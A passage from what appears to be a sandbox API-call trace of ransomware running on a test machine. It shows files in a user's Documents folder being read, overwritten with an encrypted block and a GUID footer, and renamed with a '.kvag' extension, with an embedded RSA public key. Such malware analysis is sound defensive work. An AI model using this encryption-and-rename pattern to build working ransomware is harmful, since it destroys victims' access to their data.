(lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.426] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.426] CloseHandle (hObject=0x61c) returned 1 [0119.427] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i8DRxWeUJn.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i8drxweujn.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\i8DRxWeUJn.pdf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\i8drxweujn.pdf.kvag")) returned 1 [0119.428] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b66f00, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xf57da5e0, ftLastAccessTime.dwHighDateTime=0x1d4d1c2, ftLastWriteTime.dwLowDateTime=0xf57da5e0, ftLastWriteTime.dwHighDateTime=0x1d4d1c2, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JF7e24yFrvj874pRbz.xls", cAlternateFileName="JF7E24~1.XLS")) returned 1 [0119.428] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JF7e24yFrvj874pRbz.xls") returned=".xls" [0119.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JF7e24yFrvj874pRbz.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jf7e24yfrvj874prbz.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.429] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=8380) returned 1 [0119.429] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.431] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2096, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.431] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.432] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x20bc, lpOverlapped=0x0) returned 1 [0119.433] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.433] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.433] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.433] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.434] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.434] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.434] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.434] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.434] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.434] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.434] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.434] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.434] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.434] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.435] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x20bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.435] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.435] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.435] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.435] CloseHandle (hObject=0x61c) returned 1 [0119.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JF7e24yFrvj874pRbz.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jf7e24yfrvj874prbz.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JF7e24yFrvj874pRbz.xls.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jf7e24yfrvj874prbz.xls.kvag")) returned 1 [0119.437] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b53680, ftCreationTime.dwHighDateTime=0x1d4d3f8, ftLastAccessTime.dwLowDateTime=0xa0ae240, ftLastAccessTime.dwHighDateTime=0x1d4d473, ftLastWriteTime.dwLowDateTime=0xa0ae240, ftLastWriteTime.dwHighDateTime=0x1d4d473, nFileSizeHigh=0x0, nFileSizeLow=0x8ff5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kGiZali 3xcty.ots", cAlternateFileName="KGIZAL~1.OTS")) returned 1 [0119.437] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kGiZali 3xcty.ots") returned=".ots" [0119.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kGiZali 3xcty.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kgizali 3xcty.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.438] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=36853) returned 1 [0119.438] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.440] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8fcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.440] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.441] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8ff5, lpOverlapped=0x0) returned 1 [0119.442] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.442] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.442] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.442] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.443] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.443] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.443] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.443] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.443] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.443] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.443] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.443] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.443] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.443] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.444] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8ff5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.444] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.444] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.444] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.444] CloseHandle (hObject=0x61c) returned 1 [0119.447] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kGiZali 3xcty.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kgizali 3xcty.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kGiZali 3xcty.ots.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kgizali 3xcty.ots.kvag")) returned 1 [0119.448] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1656e70, ftCreationTime.dwHighDateTime=0x1d53f8c, ftLastAccessTime.dwLowDateTime=0x49117970, ftLastAccessTime.dwHighDateTime=0x1d4ecfd, ftLastWriteTime.dwLowDateTime=0x49117970, ftLastWriteTime.dwHighDateTime=0x1d4ecfd, nFileSizeHigh=0x0, nFileSizeLow=0x16860, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M3c6UFv6B8YP8gKAw.pptx", cAlternateFileName="M3C6UF~1.PPT")) returned 1 [0119.448] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M3c6UFv6B8YP8gKAw.pptx") returned=".pptx" [0119.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M3c6UFv6B8YP8gKAw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m3c6ufv6b8yp8gkaw.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.449] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=92256) returned 1 [0119.450] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.451] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1683a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.451] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.453] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x16860, lpOverlapped=0x0) returned 1 [0119.453] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.454] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.454] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.454] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.454] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.454] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.454] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.455] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.455] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.455] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.455] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.455] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.455] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.455] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.456] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16860, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.456] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.456] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.456] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.456] CloseHandle (hObject=0x61c) returned 1 [0119.458] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M3c6UFv6B8YP8gKAw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m3c6ufv6b8yp8gkaw.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\M3c6UFv6B8YP8gKAw.pptx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m3c6ufv6b8yp8gkaw.pptx.kvag")) returned 1 [0119.459] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf362ece0, ftCreationTime.dwHighDateTime=0x1d4d26a, ftLastAccessTime.dwLowDateTime=0xc4a9680, ftLastAccessTime.dwHighDateTime=0x1d4d41a, ftLastWriteTime.dwLowDateTime=0xc4a9680, ftLastWriteTime.dwHighDateTime=0x1d4d41a, nFileSizeHigh=0x0, nFileSizeLow=0xb043, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mUv_SkYk3fldq1.pps", cAlternateFileName="MUV_SK~1.PPS")) returned 1 [0119.459] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mUv_SkYk3fldq1.pps") returned=".pps" [0119.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mUv_SkYk3fldq1.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\muv_skyk3fldq1.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.460] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=45123) returned 1 [0119.460] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.462] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb01d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.462] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.463] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xb043, lpOverlapped=0x0) returned 1 [0119.464] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.464] lstrlenA (lpString="-----BEGIN PUBLIC 